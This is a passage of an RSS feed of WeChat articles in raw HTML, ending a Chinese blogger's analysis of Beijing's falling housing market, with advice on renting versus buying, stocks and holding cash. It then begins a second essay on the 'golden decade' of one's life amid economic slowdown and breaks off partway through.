style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:6pt;"><span style="white-space:pre-wrap;font-size:13.999999999999998pt;font-family:&#39;Google Sans&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">产品分化</span></span></h3><ul style="margin-top:0;margin-bottom:0;padding-inline-start:48px;" class="list-paddingleft-1"><li style="white-space:pre-wrap;list-style-type:disc;font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;margin-left: -12.75pt;"><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:0pt;" role="presentation"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">下行线</span></span><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">：</span></span><span style="background-color: transparent;color: rgb(31, 31, 31);font-family: &#34;Google Sans Text&#34;, sans-serif;font-size: 11pt;font-weight: 700;letter-spacing: 0.034em;"><span leaf=""><span textstyle="" style="font-weight: normal;">老破小，流动性逐渐枯竭，银行也不给贷款了，除非有拆迁预期，否则价值将持续不断缩水</span> </span></span></p></li></ul><ul style="margin-top:0;margin-bottom:0;padding-inline-start:48px;" class="list-paddingleft-1"><li style="white-space:pre-wrap;list-style-type:disc;font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;margin-left: -12.75pt;"><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:0pt;" role="presentation"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">上行线/抗跌线</span></span><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">：</span></span><span style="line-height: 1.38;background-color: transparent;color: rgb(31, 31, 31);font-family: &#34;Google Sans Text&#34;, sans-serif;font-size: 11pt;font-weight: 700;letter-spacing: 0.034em;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;&#34;,&#34;id&#34;:&#34;docs-internal-guid-bb7444c0-7fff-9811-a8f6-ea0f14163fb3&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;list&#34;,{&#34;type&#34;:&#34;ul&#34;,&#34;style&#34;:&#34;margin-top:0;margin-bottom:0;padding-inline-start:48px;&#34;,&#34;class&#34;:&#34;list-paddingleft-1&#34;,&#34;start&#34;:null},&#34;listitem&#34;,{&#34;style&#34;:&#34;white-space:pre-wrap;list-style-type:disc;font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;margin-left: -12.75pt;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;dir&#34;:&#34;ltr&#34;,&#34;style&#34;:&#34;line-height:1.3799999713897704;margin-top:0pt;margin-bottom:0pt;&#34;,&#34;role&#34;:&#34;presentation&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="background-color: transparent;color: rgb(31, 31, 31);font-family: &#34;Google Sans Text&#34;, sans-serif;font-size: 11pt;font-weight: 700;letter-spacing: 0.034em;"><span textstyle="" style="font-weight: normal;">高品质次新房</span></span></span><span style="line-height: 1.38;background-color: transparent;color: rgb(31, 31, 31);font-family: &#34;Google Sans Text&#34;, sans-serif;font-size: 11pt;font-weight: 700;letter-spacing: 0.034em;"><span leaf="" style="background-color: transparent;color: rgb(31, 31, 31);font-family: &#34;Google Sans Text&#34;, sans-serif;font-size: 11pt;font-weight: 700;letter-spacing: 0.034em;"><span textstyle="" style="font-weight: normal;">，卖掉老破小的家庭，最终会流向这里</span></span></span></p></li></ul><h3 dir="ltr" style="line-height:1.3799999713897704;margin-top:12pt;margin-bottom:6pt;"><span style="white-space:pre-wrap;font-size:13.999999999999998pt;font-family:&#39;Google Sans&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">区域分化</span></span></h3><ul style="margin-top:0;margin-bottom:0;padding-inline-start:48px;" class="list-paddingleft-1"><li style="white-space:pre-wrap;list-style-type:disc;font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;margin-left: -12.75pt;"><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:0pt;" role="presentation"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">核心区（三环内及核心产业园周边）</span></span><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">：医疗、教育、顶级商业资源的不可复制性，属于“核心资产”</span></span></p></li><li style="white-space:pre-wrap;list-style-type:disc;font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;margin-left: -12.75pt;"><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:6pt;" role="presentation"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">远郊与环京</span></span><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">：库存重灾区</span></span></p></li></ul><h2 dir="ltr" style="line-height: 1.38;margin-top: 0pt;margin-bottom: 6pt;text-align: center;"><span leaf="" style="line-height: 1.38;white-space: pre-wrap;font-variant: normal;text-decoration: none;vertical-align: baseline;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);float: none;display: inline !important;">下行周期中，如何选择？</span></h2><p dir="ltr" style="line-height: 1.38;margin-top: 0pt;margin-bottom: 8px;"><span style="white-space: pre-wrap;font-size: 11pt;font-family: &#34;Google Sans Text&#34;, sans-serif;color: rgb(31, 31, 31);background-color: transparent;font-weight: 400;font-style: normal;font-variant: normal;text-decoration: none;vertical-align: baseline;"><span leaf="">在“现金为王”的时代，你手上的钱，每一年都能买到更多更好的东西。我们应该怎么选？每一个普通家庭的资产配置决策都影响未来十年的财富阶层。</span></span></p><h3 dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:6pt;"><span style="white-space:pre-wrap;font-size:13.999999999999998pt;font-family:&#39;Google Sans&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf=""><span textstyle="" style="font-size: 17px;color: rgb(122, 79, 214);">什么时候买房合适？</span></span></span></h3><ul style="margin-top:0;margin-bottom:0;padding-inline-start:48px;" class="list-paddingleft-1"><li style="white-space:pre-wrap;list-style-type:disc;font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:bold;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;margin-left:-12.75pt;"><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:0pt;" role="presentation"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf=""><span textstyle="" style="font-weight: bold;">刚需首套</span></span></span><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf=""><span textstyle="" style="font-weight: bold;">：多看少动，寻求安全性</span></span></span></p></li></ul><ul style="margin-top:0;margin-bottom:0;padding-inline-start:48px;" class="list-paddingleft-1"><li style="white-space:pre-wrap;list-style-type:circle;font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;margin-left: 7.5pt;"><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:0pt;" role="presentation"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">现在的市场是绝对的买方市场，通常，你可以要求卖方参考市场成交价，额外提供8-15个点的下跌风险安全垫（着急卖的卖方太吃亏了）</span></span></p></li></ul><ul style="margin-top:0;margin-bottom:0;padding-inline-start:48px;" class="list-paddingleft-1"><li style="white-space:pre-wrap;list-style-type:circle;font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;margin-left: 7.5pt;"><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:0pt;" role="presentation"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">建议</span></span><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">：多看少动，现金理财。现在的租售比极其划算，租房是比买房更好的财务选择</span></span></p></li></ul><ul style="margin-top:0;margin-bottom:0;padding-inline-start:48px;" class="list-paddingleft-1"><li style="white-space:pre-wrap;list-style-type:disc;font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;margin-left: -12.75pt;"><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:0pt;" role="presentation"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">置换改善</span></span><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">：</span></span><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">先卖后买</span></span></p></li></ul><ul style="margin-top:0;margin-bottom:0;padding-inline-start:48px;" class="list-paddingleft-1"><li style="white-space:pre-wrap;list-style-type:circle;font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;margin-left: 7.5pt;"><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:0pt;" role="presentation"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">这是铁律。在流动性枯竭的市场，卖出是最难的。</span></span><span style="background-color: transparent;color: rgb(31, 31, 31);font-family: &#34;Google Sans Text&#34;, sans-serif;font-size: 11pt;letter-spacing: 0.034em;"><span leaf="">只有把手里的“老破小”变成现金，你才有资格去挑选那些正在降价的“次新房”</span></span></p></li></ul><ul style="margin-top:0;margin-bottom:0;padding-inline-start:48px;" class="list-paddingleft-1"><li style="white-space:pre-wrap;list-style-type:disc;font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;margin-left: -12.75pt;"><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:0pt;" role="presentation"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">学区房</span></span></p></li></ul><ul style="margin-top:0;margin-bottom:0;padding-inline-start:48px;" class="list-paddingleft-1"><li style="white-space:pre-wrap;list-style-type:circle;font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;margin-left: 7.5pt;"><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:6pt;" role="presentation"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">尽量避免高溢价的学区老破小，政策风险极大。如果为了孩子上学，建议关注那些教育质量均衡、溢价较低的区域，或者直接考虑租房上学的可能性（随着政策推进，租售同权范围在扩大）</span></span></p></li></ul><h3 dir="ltr" style="line-height:1.3799999713897704;margin-top:12pt;margin-bottom:6pt;"><span style="white-space:pre-wrap;font-size:13.999999999999998pt;font-family:&#39;Google Sans&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf=""><span textstyle="" style="font-size: 17px;color: rgb(122, 79, 214);">投资选择：持币？炒股？买房？</span></span></span></h3><ul style="margin-top:0;margin-bottom:0;padding-inline-start:48px;" class="list-paddingleft-1"><li style="white-space:pre-wrap;list-style-type:disc;font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;margin-left: -12.75pt;"><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:0pt;" role="presentation"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">房地产</span></span><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">：</span></span><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">不再是投资品</span></span></p></li></ul><ul style="margin-top:0;margin-bottom:0;padding-inline-start:48px;" class="list-paddingleft-1"><li style="white-space:pre-wrap;list-style-type:circle;font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;margin-left: 7.5pt;"><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:0pt;" role="presentation"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">除非你是为了自住且能长期持有（10年以上），否则不要把买房当作投资。扣除利息、税费、折旧和机会成本，未来几年房产的真实收益率大概率为负</span></span></p></li></ul><ul style="margin-top:0;margin-bottom:0;padding-inline-start:48px;" class="list-paddingleft-1"><li style="white-space:pre-wrap;list-style-type:disc;font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;margin-left: -12.75pt;"><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:0pt;" role="presentation"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">炒股（A股）</span></span><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">：</span></span><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">高风险的高赔率博弈</span></span></p></li></ul><ul style="margin-top:0;margin-bottom:0;padding-inline-start:48px;" class="list-paddingleft-1"><li style="white-space:pre-wrap;list-style-type:circle;font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;margin-left: 7.5pt;"><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:0pt;" role="presentation"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">如果你相信国运，配置宽基指数（如沪深300）可能比买房具有更好的流动性。但前提是，你使用的是闲钱，且能承受波动</span></span></p></li></ul><ul style="margin-top:0;margin-bottom:0;padding-inline-start:48px;" class="list-paddingleft-1"><li style="white-space:pre-wrap;list-style-type:disc;font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;margin-left: -12.75pt;"><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:0pt;" role="presentation"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">持币</span></span><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">：</span></span></p></li></ul><ul style="margin-top:0;margin-bottom:0;padding-inline-start:48px;" class="list-paddingleft-1"><li style="white-space:pre-wrap;list-style-type:circle;font-size:11pt;font-family:Arial,sans-serif;color:#000000;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;margin-left: 7.5pt;"><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:0pt;" role="presentation"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">在通缩压力和资产价格下跌周期中，现金的购买力实际上是在提升的。</span></span><span style="background-color: transparent;font-size: 11pt;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;font-variant-emoji: normal;letter-spacing: 0.034em;font-family: &#34;Google Sans Text&#34;, sans-serif;color: rgb(31, 31, 31);vertical-align: baseline;"><span leaf="">持有低风险理财产品，虽然名义收益率低，但在此刻，</span></span><span style="background-color: transparent;font-size: 11pt;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;font-variant-emoji: normal;letter-spacing: 0.034em;font-family: &#34;Google Sans Text&#34;, sans-serif;color: rgb(31, 31, 31);font-weight: 700;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-weight: normal;">本金的安全和流动性的充裕</span></span></span><span style="background-color: transparent;font-size: 11pt;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;font-variant-emoji: normal;letter-spacing: 0.034em;font-family: &#34;Google Sans Text&#34;, sans-serif;color: rgb(31, 31, 31);vertical-align: baseline;"><span leaf="">比什么都重要</span></span></p></li></ul></span></p><p><span style="" data-pm-slice="0 0 []"><h2 dir="ltr" style="line-height: 1.38;margin-top: 0pt;margin-bottom: 6pt;text-align: center;"><span leaf="" style="line-height: 1.38;white-space: pre-wrap;font-variant: normal;text-decoration: none;vertical-align: baseline;color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);float: none;display: inline !important;">结语</span></h2><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:12pt;"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">A股用三年时间告诉我们：</span></span><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf="">趋势一旦形成，就不会轻易改变，除非有强大的外力打破惯性。<span textstyle="" style="font-weight: normal;">北京楼市的“9.24”时刻尚未到来。在这之前，市场将持续探底。对于普通人来说，这不再是一个闭眼买房致富的时代，而是一个需要极度审慎、精算租售比、甚至由于恐惧而保持敬畏的时代。</span></span></span></p><p dir="ltr" style="line-height:1.3799999713897704;margin-top:0pt;margin-bottom:12pt;"><span style="white-space:pre-wrap;font-size:11pt;font-family:&#39;Google Sans Text&#39;,sans-serif;color:#1f1f1f;background-color:transparent;font-weight:700;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;"><span leaf=""><span textstyle="" style="font-weight: normal;">2026，祝大家越来越富！</span></span></span></p></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a918c117&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyNjM0MjQ2Mw%3D%3D%26mid%3D2247483830%26idx%3D1%26sn%3D512867d3485cf62dcb858847a1a5bcde">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 22 Dec 2025 13:16:00 +0800</pubDate>
    </item>
    <item>
      <title>人生黄金十年</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyNjM0MjQ2Mw==&amp;mid=2247483824&amp;idx=1&amp;sn=c34c6f626c89baf7963cb5c431a45133</link>
      <description>人生黄金十年不是一个绝对概念，每个人眼里，都有属于自己的黄金十年。你心中的高光时刻，是曾经的过去、此刻的现在，还是不远的未来？</description>
      <content:encoded><![CDATA[<p>
原创 <span>李劼杰</span> <span>2025-08-24 18:13</span> <span style="display: inline-block;">北京</span>
</p>




<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=a6496594&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0jezbBnTO9nlw7MI1yfFytEN2s7uamDicWxt33xOqZuSrFPdOddUlIsL778NkeJWYE5IB5aPxagcNvXjLq7rXdg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 14px;">人生黄金十年不是一个绝对概念，每个人眼里，都有属于自己的</span><span textstyle="" style="font-size: 14px;font-weight: bold;">黄金十年</span><span textstyle="" style="font-size: 14px;">。</span></span></p><p><span leaf="" style="color:rgba(0, 0, 0, 0.9);font-size:17px;font-family:&#34;mp-quote&#34;, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height:1.6;letter-spacing:0.034em;font-style:normal;font-weight:normal;"><span textstyle="" style="font-size: 14px;">你心中的高光时刻，是曾经的过去、此刻的现在，还是不远的未来？</span></span></p><p><span leaf=""><span textstyle="" style="font-size: 14px;">时间对每一个人是相对公平的，如果</span></span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 14px;">未来10年便是你的黄金10年，</span></span><span leaf=""><span textstyle="" style="font-size: 14px;">你想要如何度过？</span></span></p><p style="text-align: center;margin-bottom: 8px;"><span style="color: rgb(255, 255, 255);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 700;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(0, 82, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">  宏观环境恶化，年轻人选择躺平 </span></span></p><p style="margin-bottom: 8px;"><span leaf=""><span textstyle="" style="font-size: 14px;">过去4年，国内经济增长放缓，我们看到：</span></span></p><ul style="list-style-type: square;" class="list-paddingleft-1"><li><p><span leaf=""><span textstyle="" style="font-size: 14px;">物价下行，通货紧缩。居民消费意愿低，更多选择低价高频消费</span></span></p></li><li style="font-size:14px;"><p><span leaf="">企业</span><span leaf="">投资减少</span><span leaf="">，参与各个生产环节的劳动者收入减少</span></p></li><li style="font-size:14px;"><p><span leaf="">年轻一代生育意愿低，人口老龄化，人口减少</span></p></li><li style="font-size:14px;"><p><span leaf="">部分富人带走了大量财富，永久性跳出国内经济循环</span></p></li></ul><p style="margin-top: 16px;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:null},&#34;namespaceURI&#34;:&#34;&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 